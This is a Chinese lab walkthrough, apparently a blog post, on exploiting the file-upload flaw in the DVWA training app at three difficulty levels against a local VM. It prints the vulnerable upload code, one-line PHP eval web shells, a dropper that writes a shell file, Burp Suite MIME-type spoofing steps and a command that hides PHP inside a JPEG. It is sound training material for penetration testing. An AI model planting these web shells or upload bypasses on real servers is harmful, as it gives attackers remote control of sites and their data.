DVWA文件上传漏洞(upload)

目录

1、low级别(直接上传)

1.1 上传文件

1.2 验证

2、medium级别(使用Burp Suite进行代理)

2.1 进行代理配置

2.2 文件上传

2.3 验证

3、high级别(进行文件合并)

3.1 文件创建

3.2 上传及验证


1、low级别(直接上传)


<?php
    if (isset($_POST['Upload'])) {

            $target_path = DVWA_WEB_PAGE_TO_ROOT."hackable/uploads/";
            $target_path = $target_path . basename( $_FILES['uploaded']['name']);

            if(!move_uploaded_file($_FILES['uploaded']['tmp_name'], $target_path)) {
                
                echo '<pre>';
                echo 'Your image was not uploaded.';
                echo '</pre>';
                
              } else {
            
                echo '<pre>';
                echo $target_path . ' succesfully uploaded!';
                echo '</pre>';
                
            }

        }
?>

PHP端实现文件上传的功能,不设置任何的检测,可以上传任意类型、任意大小的文件。

所以可以直接上传shell文件,上传完成后使用菜刀。

1.1 上传文件

shell.php文件的内容如下,只有一句话:

<?php @eval($_POST['123']);?>

在DVWA进行文件上传。

 

为了验证是否上传成功,可以进入这个网址,如果不出现NOT FOUND说明上传成功;

也可以去靶机下进行查看,靶机中的路径为/var/www/dvwa/hackable/uploads。

1.2 验证

打开菜刀,右击->添加->输入PHP脚本的位置,后面输入POST里面的密码。

右击文件管理,如果可以进行文件的增删等操作说明成功。

 

2、medium级别(使用Burp Suite进行代理)

此级别下PHP代码相对于上一级别增加了文件mime类型的判断以及文件大小的判断,主要添加的代码如下。

 if (($uploaded_type == "image/jpeg") && ($uploaded_size < 100000))

对mime类型的讲解可以参考:https://www.cnblogs.com/zhongcj/archive/2008/11/03/1325293.html

在此级别下,不能直接上传PHP文件。可以把浏览器进行代理配置,把上传的PHP文件伪装成image/jpg文件再进行上传。需要使用的工具是Burp Suite(kali Linux)。

首先要明确虚拟机的IP地址,可以使用ip a 进行查看。

kali的IP为 192.168.5.131

owaspbwa靶机的IP为:192.168.5.132

代理过程大致如下图所示,php不能直接上传至靶机,就进行代理、伪装,在进行上传。

2.1 进行代理配置

以火狐为例,选项->常规拉到最下面->网络设置,把HTTP代理的IP设置为kali的IP,注意是kali的IP,不是靶机的IP。

在kali端,会自带burp suite工具,打开burp suite新建一个project,Proxy->Options->Add,设置IP为上传文件的主机IP,方便的话可以直接选all,端口为在浏览器设置的端口。

 

再切换到Proxy下的Intercept,把第三个按键置为intercept is on

2.2 文件上传

选择php文件进行上传,会发现浏览器一直在响应的状态。

在burp suite中,会收到上传文件的请求。对请求文件类型进行修改,把application/octet-stream改为image/jpeg,再点击Forward

再返回浏览器,发现文件上传成功。

2.3 验证

和low级别下的一样,使用菜刀对靶机进行操作,如果可以进行文件的增删说明成功。

 

3、high级别(进行文件合并)

在high级别下,网站的php代码主要是检测文件的后缀,只允许.jpg .jpeg图片文件进行查询,主要代码变化如下。

$uploaded_ext = substr($uploaded_name, strrpos($uploaded_name, '.') + 1);
if (($uploaded_ext == "jpg" || $uploaded_ext == "JPG" || $uploaded_ext == "jpeg" || $uploaded_ext == "JPEG") && ($uploaded_size < 100000))

不能用medium级别的办法,因为medium级别并没有真正改变文件的类型。

此级别的解决办法是把php文件与图片进行合并。

3.1 文件创建

为了更好的对后续进行验证,对shell1.php做一点点修改。

 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>

在windows中对文件进行合并使用copy命令。copy 1.jpg/b+shell1.php shell.jpg

注意:在合并时要把图片文件放在前面并加上/b,否则合并出来的图片不能显示(不过对结果没有影响,都可以进行上传);还有就是图片要小一点,因为网站对上传文件的大小有限制。

合成后的图片和之前的图片看上去没有区别,右击用记事本查看会发现PHP代码已经植入。

3.2 上传及验证

把新文件进行上传,访问对应的网址。也可以去靶机中进行验证。都说明已经上传成功。

此方法暂时不能使用菜刀验证,因为上传的是静态的文件不会主动执行,需要再对网站文件包含漏洞进行渗透。

可以参考 https://blog.csdn.net/kirito_pio/article/details/106565478 进行文件包含渗透。

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值